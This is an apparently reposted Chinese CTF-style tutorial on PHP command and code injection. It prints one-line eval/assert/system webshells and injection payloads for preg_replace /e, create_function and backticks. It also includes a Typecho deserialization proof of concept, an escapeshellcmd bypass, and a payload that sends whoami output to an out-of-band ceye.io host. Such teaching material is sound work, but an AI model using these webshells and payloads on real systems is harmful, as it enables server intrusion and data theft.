溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊(cè)×
其他方式登錄
點(diǎn)擊 登錄注冊(cè) 即表示同意《億速云用戶服務(wù)條款》

怎么進(jìn)行 PHP代碼命令注入

發(fā)布時(shí)間:2021-10-11 11:56:47 來(lái)源:億速云 閱讀:154 作者:柒染 欄目:網(wǎng)絡(luò)安全

這期內(nèi)容當(dāng)中小編將會(huì)給大家?guī)?lái)有關(guān)怎么進(jìn)行 PHP代碼命令注入,文章內(nèi)容豐富且以專業(yè)的角度為大家分析和敘述,閱讀完這篇文章希望大家可以有所收獲。

一、 前記

今天在合天實(shí)驗(yàn)室看到這樣一個(gè)實(shí)驗(yàn):

題目對(duì)萌新還是比較友好的,屬于啟蒙項(xiàng),尚未接觸過(guò)該類問(wèn)題的同學(xué)可以嘗試一下,領(lǐng)略一下命令注入的魅力。

而我個(gè)人做罷之余,心想不如總結(jié)一下最近遇到的命令或是代碼注入的情況,于是便有了這篇文章~

1.  常見(jiàn)php命令注入函數(shù)

eval(),,assert(), system(),preg_replace(), create_function, call_user_func, call_user_func_array,array_map(),反引號(hào),ob_start(),exec(),shell_exec(),passthru(),escapeshellcmd(),popen(),proc_open(),pcntl_exec()

二、 背景

1. 知識(shí)前提

這里不再多提,相信大家已經(jīng)對(duì)這幾個(gè)函數(shù)輕車熟路了,常見(jiàn)小馬均在使用

<?php

@eval($_GET["sky"]);

?>

 

<?php

@assert($_GET["sky"]);

?>

 

<?php

@system($_GET["sky"]);

?>

2. 題目實(shí)戰(zhàn)

這里直接就用合天實(shí)驗(yàn)室的題目說(shuō)明

看到題目給出的源碼:

<?php

system("ping -n 2 ".$_GET['ip']);

 ?>

正常訪問(wèn)

http://localhost/web/hetian.php?ip=127.0.0.1


怎么進(jìn)行 PHP代碼命令注入

(23333編碼問(wèn)題請(qǐng)忽略)

是一個(gè)常規(guī)的ping命令

我們進(jìn)行命令注入

http://localhost/web/hetian.php?ip=|dir

得到回顯

怎么進(jìn)行 PHP代碼命令注入

我們?cè)贀Q個(gè)套路,把這段代碼放在服務(wù)器上(linux)

嘗試:

http://vps_ip/testsky/index.php?ip=`whoami`.2bub8m.ceye.io

可以收到回顯

怎么進(jìn)行 PHP代碼命令注入

并且這類題目在CTF中可以說(shuō)屢見(jiàn)不鮮,值得好好掌握

三、 preg_replace()

1. 知識(shí)前提

查閱php手冊(cè)

mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )

函數(shù)作用:搜索subject中匹配pattern的部分, 以replacement進(jìn)行替換。

其中,在錯(cuò)誤/異常中提及:

PHP 5.5.0 起, 傳入 "\e" 修飾符的時(shí)候,會(huì)產(chǎn)生一個(gè) E_DEPRECATED 錯(cuò)誤; PHP 7.0.0 起,會(huì)產(chǎn)生 E_WARNING 錯(cuò)誤,同時(shí) "\e" 也無(wú)法起效。

所以正是這個(gè)修飾符,讓我們可以進(jìn)行命令注入

但需要知道的是:

7.0.0 不再支持 /e修飾符。 請(qǐng)用 preg_replace_callback() 代替。

5.5.0 /e 修飾符已經(jīng)被棄用了。使用 preg_replace_callback() 代替。參見(jiàn)文檔中 PREG_REPLACE_EVAL 關(guān)于安全風(fēng)險(xiǎn)的更多信息。

在實(shí)踐的時(shí)候需要看清php版本,在7.0的版本以后就不再適用!

2. 題目實(shí)戰(zhàn)

error_reporting(0);

$pattern = $_GET[pat];

$replacement = $_GET[rep];

$subject = $_GET[sub];

if (isset($pattern) && isset($replacement) && isset($subject))

{

    preg_replace($pattern, $replacement, $subject);

}

else

{

die();

}

調(diào)用方法:

preg_replace("/test/e",phpinfo(),"jutst test");

此時(shí)phpinfo()將會(huì)被執(zhí)行

因?yàn)槭褂?e修飾符,preg_replace會(huì)將 replacement 參數(shù)當(dāng)作 PHP代碼執(zhí)行

所以最后的payload:

?pat=/test/e&rep=phpinfo()&sub=jutst test

?pat=/test/e&rep=var_dump(`dir`)&sub=jutst test

怎么進(jìn)行 PHP代碼命令注入怎么進(jìn)行 PHP代碼命令注入

可以看到命令成功注入!

四、 create_function()

1. 知識(shí)前提

查閱php手冊(cè)

string create_function ( string $args , string $code )

函數(shù)作用:從創(chuàng)建一個(gè)匿名函數(shù)傳遞的參數(shù),并返回一個(gè)唯一的名稱

看一個(gè)官方樣例

<?php

$newfunc = create_function('$a,$b', 'return "ln($a) + ln($b) = " . log($a * $b);');

echo "New anonymous function: $newfunc\n";

echo $newfunc(2, M_E) . "\n";

// outputs

// New anonymous function: lambda_1

// ln(2) + ln(2.718281828459) = 1.6931471805599

?>

我們不難得到create_function()的原型

function test($a,$b)

{

return "ln($a) + ln($b) = " . log($a * $b);

}

那么我們開(kāi)始實(shí)戰(zhàn)

2. 題目實(shí)戰(zhàn)1

此問(wèn)題曾出現(xiàn)在WordPress <= 4.6.1 使用語(yǔ)言文件任意代碼執(zhí)行

詳細(xì)分析請(qǐng)戳:http://blog.knownsec.com/2016/10/wordpress-4-6-1-language-exploit/

下面給出關(guān)鍵代碼

function make_plural_form_function($nplurals, $expression) {  

    $expression = str_replace('n', '$n', $expression);

    $func_body = "

        \$index = (int)($expression);

        return (\$index < $nplurals)? \$index : $nplurals - 1;";

    return create_function('$n', $func_body);

}

可以清楚看見(jiàn),關(guān)鍵利用點(diǎn)就是在create_function()

3. 題目實(shí)戰(zhàn)2

給出《web安全深度剖析》中的一個(gè)實(shí)例:

<?php

error_reporting(0);

$sort_by = $_GET['sort_by'];

$sorter = 'strnatcasecmp';

$databases=array('1234','4321');

$sort_function = ' return 1 * ' . $sorter . '($a["' . $sort_by . '"], $b["' . $sort_by . '"]);';

usort($databases, create_function('$a, $b', $sort_function));

?>

首先構(gòu)造出函數(shù)原型

function test($a,$b)

{

return 1 * ' . $sorter . '($a["' . $sort_by . '"], $b["' . $sort_by . '"]);

}

根據(jù)這個(gè),我們可以構(gòu)造payload:

?sort_by="]);}phpinfo();/*

傳入后得到:

return 1 * strnatcasecmp($a[""]);}phpinfo();/*"], $b[""]);}phpinfo();/*"]);

所以此時(shí)的函數(shù)原型:

function test($a,$b)

{

return 1 * strnatcasecmp($a[""]);}phpinfo();/*"], $b[""]);}phpinfo();/*"]);

}

很顯然,經(jīng)過(guò)`/*`注釋符

我們剩下的只有

function test($a,$b)

{

return 1 * strnatcasecmp($a[""]);

}

phpinfo();

成功的進(jìn)行了代碼注入!

怎么進(jìn)行 PHP代碼命令注入

五、 call_user_func()/call_user_func_array()/array_map()

1. 知識(shí)前提

同樣還是查閱官方手冊(cè)

mixed call_user_func ( callable $callback [, mixed $parameter [, mixed $... ]] )

函數(shù)作用:第一個(gè)參數(shù) callback 是被調(diào)用的回調(diào)函數(shù),其余參數(shù)是回調(diào)函數(shù)的參數(shù)。

mixed call_user_func_array ( callable $callback , array $param_arr )

函數(shù)作用:把第一個(gè)參數(shù)作為回調(diào)函數(shù)(callback)調(diào)用,把參數(shù)數(shù)組作(param_arr)為回調(diào)函數(shù)的的參數(shù)傳入。

array array_map ( callable $callback , array $array1 [, array $... ] )

函數(shù)作用:返回?cái)?shù)組,是為 array1 每個(gè)元素應(yīng)用 callback函數(shù)之后的數(shù)組。 callback 函數(shù)形參的數(shù)量和傳給 array_map() 數(shù)組數(shù)量,兩者必須一樣。

由于三者類似,這里介紹call_user_func()

我們舉個(gè)例子

<?php

$filter= 'assert';

$value = 'phpinfo()';

call_user_func($filter, $value);

?>

怎么進(jìn)行 PHP代碼命令注入

可以看到成功執(zhí)行了命令

2. 題目實(shí)戰(zhàn)

前段時(shí)間非?;鸬腡ypecho反序列化漏洞中最后就用到了這個(gè)函數(shù)進(jìn)行代碼注入

有興趣的可以在freebuf這篇文章查看詳情:

http://www.freebuf.com/column/161798.html

這里截選出最終的利用點(diǎn)

private function _applyFilter($value)

    {

        if ($this->_filter) {

            foreach ($this->_filter as $filter) {

                $value = is_array($value) ? array_map($filter, $value) :

                call_user_func($filter, $value);

            }

            $this->_filter = array();

        }

        return $value;

    }

而當(dāng)時(shí)的原因正是我們可控$filter和$value兩個(gè)參數(shù)

附上payload

class Typecho_Feed{

    private $_type='ATOM 1.0';

    private $_items;

 

    public function __construct(){

        $this->_items = array(

            '0'=>array(

                'author'=> new Typecho_Request())

        );

    }

}

 

class Typecho_Request{

    private $_params = array('screenName'=>'phpinfo()');

    private $_filter = array('assert');

}

$poc = array(

'adapter'=>new Typecho_Feed(),

'prefix'=>'typecho');

echo base64_encode(serialize($poc));

六、 反引號(hào)

1. 知識(shí)前提

反引用的本質(zhì)就是在操作系統(tǒng)執(zhí)行該命令。此時(shí)可以造成命令注入等各種危害

2. 操作實(shí)踐

root@ubuntu-512mb-sfo2-01:/var/www/html/test# echo ls

ls

root@ubuntu-512mb-sfo2-01:/var/www/html/test# `echo ls`

test  tets

root@ubuntu-512mb-sfo2-01:/var/www/html/test# ls

test  tets

可以明顯的看出對(duì)比,再看php

php > $test = `ls`;

php > echo $test;

test

tets

所以反引號(hào)在命令注入實(shí)戰(zhàn)中還是有不小的殺傷力

七、 ob_start()

1. 知識(shí)前提

bool ob_start ([ callback $output_callback [, int $chunk_size [, bool $erase ]]] )

函數(shù)描述:此函數(shù)將打開(kāi)輸出緩沖。當(dāng)輸出緩沖激活后,腳本將不會(huì)輸出內(nèi)容(除http標(biāo)頭外),相反需要輸出的內(nèi)容被存儲(chǔ)在內(nèi)部緩沖區(qū)中。

內(nèi)部緩沖區(qū)的內(nèi)容可以用 ob_get_contents() 函數(shù)復(fù)制到一個(gè)字符串變量中。 想要輸出存儲(chǔ)在內(nèi)部緩沖區(qū)中的內(nèi)容,可以使用 ob_end_flush() 函數(shù)。另外, 使用 ob_end_clean() 函數(shù)會(huì)靜默丟棄掉緩沖區(qū)的內(nèi)容。

2. 操作實(shí)踐

php > $sky = 'system';

php > ob_start($sky);

php > echo 'ls -al';

php > ob_end_flush();

-rw-r--r-- 1 root root    0 Mar 12 06:46 tets

可以看到成功執(zhí)行命令

這里注意,如果我這樣使用

php > echo 'ls -al';

ls -al

是沒(méi)有任何作用的

因?yàn)檫@里的$sky被作為輸出的回調(diào)函數(shù)

而我們輸入的`ls -al`在緩沖區(qū)

經(jīng)過(guò)ob_end_flush()輸出緩沖區(qū)后,可以得到

system('ls -al')

這樣的操作,所以成功執(zhí)行了命令

八、 exec()/shell_exec()/escapeshellcmd()/passthru()

1. 知識(shí)前提

string exec ( string $command [, array &$output [, int &$return_var ]] )

string shell_exec ( string $cmd )

string escapeshellcmd ( string $command )

void passthru ( string $command [, int &$return_var ] )

這幾個(gè)就不細(xì)說(shuō)的,讀名字都知道是執(zhí)行shell命令,如果函數(shù)執(zhí)行未過(guò)濾完善的可控參數(shù),后果非常危險(xiǎn)

2. 注意點(diǎn)

其中passthru()同 exec() 函數(shù)類似,可以將結(jié)果直接傳送到瀏覽器。

然后值得一提的是escapeshellcmd()

escapeshellcmd() 對(duì)字符串中可能會(huì)欺騙 shell 命令執(zhí)行任意命令的字符進(jìn)行轉(zhuǎn)義。 此函數(shù)保證用戶輸入的數(shù)據(jù)在傳送到 exec() 或 system() 函數(shù),或者 執(zhí)行操作符 之前進(jìn)行轉(zhuǎn)義。

這里雖然存在安全轉(zhuǎn)義,但是我們注意到官方手冊(cè)的一句話

Following characters are preceded by a backslash: &#;`|*?~<>^()[]{}$\, \x0A and \xFF. ' and " are escaped only if they are not paired. In Windows, all these characters plus % and ! are replaced by a space instead.

就過(guò)濾參數(shù)而言,這里有一個(gè)win下繞過(guò)的小tip,也是之前l(fā)3m0n師傅提及過(guò)的:

測(cè)試腳本:

<?php

    $test = 'dir '.$_GET['sky'];

    $escaped_test = escapeshellcmd($test);

    var_dump($escaped_test);

    file_put_contents('out.bat',$escaped_test);

    system('out.bat');

?>

我們直接訪問(wèn)http://localhost/web/123.php?sky=../ | whoami

得到的是:

H:\wamp64\www\web\123.php:4:string 'dir ../ ^| whoami' (length=17)

H:\wamp64\www\web>dir ../ | whoami

但是執(zhí)行.bat文件的時(shí)候,利用%1a,可以繞過(guò)過(guò)濾執(zhí)行命令。

可以用

../ %1a whoami

但是需要注意的是版本問(wèn)題

5.6.0 The default value for the encoding parameter was changed to be the value of the default_charset configuration option.

5.4.43, 5.5.27, 5.6.11  感嘆號(hào)會(huì)被空格所替換。

5.6版本后可能不再適用,需要注意

九、 popen()/proc_open()/pcntl_exec()

resource popen ( string $command , string $mode )

 

resource proc_open ( string $cmd , array $descriptorspec , array &$pipes [, string $cwd [, array $env [, array $other_options ]]] )

 

void pcntl_exec ( string $path [, array $args [, array $envs ]] )

其中popen()和proc_open()是不會(huì)直接返回執(zhí)行結(jié)果的,而是返回一個(gè)文件指針,但是命令是已經(jīng)執(zhí)行了

由于沒(méi)有遇到類似的題目就不多言了:)

命令/代碼注入作為一種危害性極大的漏洞,應(yīng)該引起我們的重視。這里也只是總結(jié)了一些常見(jiàn)的命令/代碼注入問(wèn)題,至于潛藏在代碼深處的漏洞,還要靠大家自己多多挖掘啦。

上述就是小編為大家分享的怎么進(jìn)行 PHP代碼命令注入了,如果剛好有類似的疑惑,不妨參照上述分析進(jìn)行理解。如果想知道更多相關(guān)知識(shí),歡迎關(guān)注億速云行業(yè)資訊頻道。

向AI問(wèn)一下細(xì)節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如果涉及侵權(quán)請(qǐng)聯(lián)系站長(zhǎng)郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。

php
AI